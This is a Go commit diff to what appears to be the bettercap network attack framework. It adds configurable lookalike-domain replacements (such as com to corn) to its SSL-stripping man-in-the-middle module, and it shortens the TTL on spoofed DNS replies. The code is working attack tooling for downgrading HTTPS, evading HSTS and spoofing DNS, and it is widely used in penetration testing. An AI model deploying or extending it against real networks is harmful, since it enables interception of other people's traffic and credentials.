SSLSTRIP - Adding the ability to choose how domains are spoofed

This commit is contained in:
Petitoto 2020-09-06 21:35:50 +02:00
commit a8f10b6333
4 changed files with 45 additions and 30 deletions

View file

@ -54,9 +54,9 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
"false", "false",
"Enable or disable SSL stripping.")) "Enable or disable SSL stripping."))
mod.AddParam(session.NewBoolParameter("http.proxy.sslstrip.useIDN", mod.AddParam(session.NewStringParameter("http.proxy.sslstrip.replacements",
"false", "com:corn net:nel org:orq", "(.*:.*\\s*$)+",
"Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character")) "Space separated list of '<original_chars>:<stripped_chars>', and ordered by priority. Use '*' for any domain. Internationalized Domain Names are allowed. If the domain to strip isn't found in this parameter, the last char of the top-level domain will be duplicated."))
mod.AddHandler(session.NewModuleHandler("http.proxy on", "", mod.AddHandler(session.NewModuleHandler("http.proxy on", "",
"Start HTTP proxy.", "Start HTTP proxy.",
@ -95,7 +95,7 @@ func (mod *HttpProxy) Configure() error {
var doRedirect bool var doRedirect bool
var scriptPath string var scriptPath string
var stripSSL bool var stripSSL bool
var useIDN bool var replacements string
var jsToInject string var jsToInject string
var blacklist string var blacklist string
var whitelist string var whitelist string
@ -114,7 +114,7 @@ func (mod *HttpProxy) Configure() error {
return err return err
} else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil { } else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil {
return err return err
} else if err, useIDN = mod.BoolParam("http.proxy.sslstrip.useIDN"); err != nil { } else if err, replacements = mod.StringParam("http.proxy.sslstrip.replacements"); err != nil {
return err return err
} else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil { } else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil {
return err return err
@ -127,7 +127,7 @@ func (mod *HttpProxy) Configure() error {
mod.proxy.Blacklist = str.Comma(blacklist) mod.proxy.Blacklist = str.Comma(blacklist)
mod.proxy.Whitelist = str.Comma(whitelist) mod.proxy.Whitelist = str.Comma(whitelist)
error := mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN) error := mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, replacements)
// save stripper to share it with other http(s) proxies // save stripper to share it with other http(s) proxies
mod.State.Store("stripper", mod.proxy.Stripper) mod.State.Store("stripper", mod.proxy.Stripper)

View file

@ -77,7 +77,7 @@ func NewHTTPProxy(s *session.Session, tag string) *HTTPProxy {
Name: "http.proxy", Name: "http.proxy",
Proxy: goproxy.NewProxyHttpServer(), Proxy: goproxy.NewProxyHttpServer(),
Sess: s, Sess: s,
Stripper: NewSSLStripper(s, false, false), Stripper: NewSSLStripper(s, false, ""),
isTLS: false, isTLS: false,
doRedirect: true, doRedirect: true,
Server: nil, Server: nil,
@ -170,7 +170,7 @@ func (p *HTTPProxy) shouldProxy(req *http.Request) bool {
} }
func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
jsToInject string, stripSSL bool, useIDN bool) error { jsToInject string, stripSSL bool, replacements string) error {
var err error var err error
// check if another http(s) proxy is using sslstrip and merge strippers // check if another http(s) proxy is using sslstrip and merge strippers
@ -192,7 +192,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
} }
} }
p.Stripper.Enable(stripSSL, useIDN) p.Stripper.Enable(stripSSL, replacements)
p.Address = address p.Address = address
p.doRedirect = doRedirect p.doRedirect = doRedirect
p.jsHook = "" p.jsHook = ""
@ -297,8 +297,8 @@ func (p *HTTPProxy) TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *
func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
certFile string, certFile string,
keyFile string, jsToInject string, stripSSL bool, useIDN bool) (err error) { keyFile string, jsToInject string, stripSSL bool, replacements string) (err error) {
if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN); err != nil { if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, replacements); err != nil {
return err return err
} }

View file

@ -30,7 +30,7 @@ var (
type SSLStripper struct { type SSLStripper struct {
enabled bool enabled bool
useIDN bool replacements string
session *session.Session session *session.Session
cookies *CookieTracker cookies *CookieTracker
hosts *HostTracker hosts *HostTracker
@ -38,16 +38,16 @@ type SSLStripper struct {
pktSourceChan chan gopacket.Packet pktSourceChan chan gopacket.Packet
} }
func NewSSLStripper(s *session.Session, enabled bool, useIDN bool) *SSLStripper { func NewSSLStripper(s *session.Session, enabled bool, replacements string) *SSLStripper {
strip := &SSLStripper{ strip := &SSLStripper{
enabled: false, enabled: enabled,
useIDN: false, replacements: replacements,
cookies: NewCookieTracker(), cookies: NewCookieTracker(),
hosts: NewHostTracker(), hosts: NewHostTracker(),
session: s, session: s,
handle: nil, handle: nil,
} }
strip.Enable(enabled, useIDN) strip.Enable(enabled, replacements)
return strip return strip
} }
@ -70,7 +70,7 @@ func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
domain := string(q.Name) domain := string(q.Name)
original := s.hosts.Unstrip(domain) original := s.hosts.Unstrip(domain)
if original != nil && original.Address != nil { if original != nil && original.Address != nil {
redir, who := dns_spoof.DnsReply(s.session, 1024, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC) redir, who := dns_spoof.DnsReply(s.session, 5, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
if redir != "" && who != "" { if redir != "" && who != "" {
log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who)) log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
} }
@ -79,9 +79,9 @@ func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
} }
} }
func (s *SSLStripper) Enable(enabled bool, useIDN bool) { func (s *SSLStripper) Enable(enabled bool, replacements string) {
s.enabled = enabled s.enabled = enabled
s.useIDN = useIDN s.replacements = replacements
if enabled && s.handle == nil { if enabled && s.handle == nil {
var err error var err error
@ -141,9 +141,24 @@ func (s *SSLStripper) processURL(url string) string {
if iPort == -1 { if iPort == -1 {
iPort = iEndHost iPort = iEndHost
} }
if s.useIDN { // search for domain's part to replace according to the settings
// add an international character to the domain name & strip HTTPS port (if any) replacement := []string{}
url = url[:iPort] + "" + url[iEndHost:] for _, r := range strings.Fields(s.replacements) {
rep := strings.Split(r, ":")
if rep[0] == "*" {
rep[0] = url[:iPort]
}
if strings.Contains(url[:iPort], rep[0]) {
replacement = rep
break
}
}
if len(replacement) != 0{
// replace domain according to the settings & strip HTTPS port (if any)
url = url[:iPort] + url[iEndHost:]
iReplacement := strings.LastIndex(url, replacement[0])
replaceto := strings.ReplaceAll(replacement[1], "*", replacement[0])
url = url[:iReplacement] + replaceto + url[iReplacement+len(replacement[0]):]
} else { } else {
// double the last TLD's character & strip HTTPS port (if any) // double the last TLD's character & strip HTTPS port (if any)
url = url[:iPort] + string(url[iPort-1]) + url[iEndHost:] url = url[:iPort] + string(url[iPort-1]) + url[iEndHost:]
@ -247,8 +262,8 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
newHost := location.Host newHost := location.Host
newURL := location.String() newURL := location.String()
// are we getting redirected from http to https? // are we getting redirected to https?
if orig.Scheme == "http" && location.Scheme == "https" { if location.Scheme == "https" {
log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost)) log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost))

View file

@ -41,9 +41,9 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy {
"false", "false",
"Enable or disable SSL stripping.")) "Enable or disable SSL stripping."))
mod.AddParam(session.NewBoolParameter("https.proxy.sslstrip.useIDN", mod.AddParam(session.NewStringParameter("http.proxy.sslstrip.replacements",
"false", "com:corn net:nel org:orq", "(.*:.*\\s*$)+",
"Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character")) "Space separated list of '<original_chars>:<stripped_chars>', and ordered by priority. Use '*' for any domain. You can use Internationalized Domain Names. If the domain to strip isn't found in this parameter, the last char of the top-level domain will be duplicated."))
mod.AddParam(session.NewStringParameter("https.proxy.injectjs", mod.AddParam(session.NewStringParameter("https.proxy.injectjs",
"", "",
@ -112,7 +112,7 @@ func (mod *HttpsProxy) Configure() error {
var certFile string var certFile string
var keyFile string var keyFile string
var stripSSL bool var stripSSL bool
var useIDN bool var replacements string
var jsToInject string var jsToInject string
var whitelist string var whitelist string
var blacklist string var blacklist string
@ -129,7 +129,7 @@ func (mod *HttpsProxy) Configure() error {
return err return err
} else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil { } else if err, stripSSL = mod.BoolParam("https.proxy.sslstrip"); err != nil {
return err return err
} else if err, useIDN = mod.BoolParam("https.proxy.sslstrip.useIDN"); err != nil { } else if err, replacements = mod.StringParam("https.proxy.sslstrip.replacements"); err != nil {
return err return err
} else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil { } else if err, certFile = mod.StringParam("https.proxy.certificate"); err != nil {
return err return err
@ -170,7 +170,7 @@ func (mod *HttpsProxy) Configure() error {
} }
error := mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject, error := mod.proxy.ConfigureTLS(address, proxyPort, httpPort, doRedirect, scriptPath, certFile, keyFile, jsToInject,
stripSSL, useIDN) stripSSL, replacements)
// save stripper to share it with other http(s) proxies // save stripper to share it with other http(s) proxies
mod.State.Store("stripper", mod.proxy.Stripper) mod.State.Store("stripper", mod.proxy.Stripper)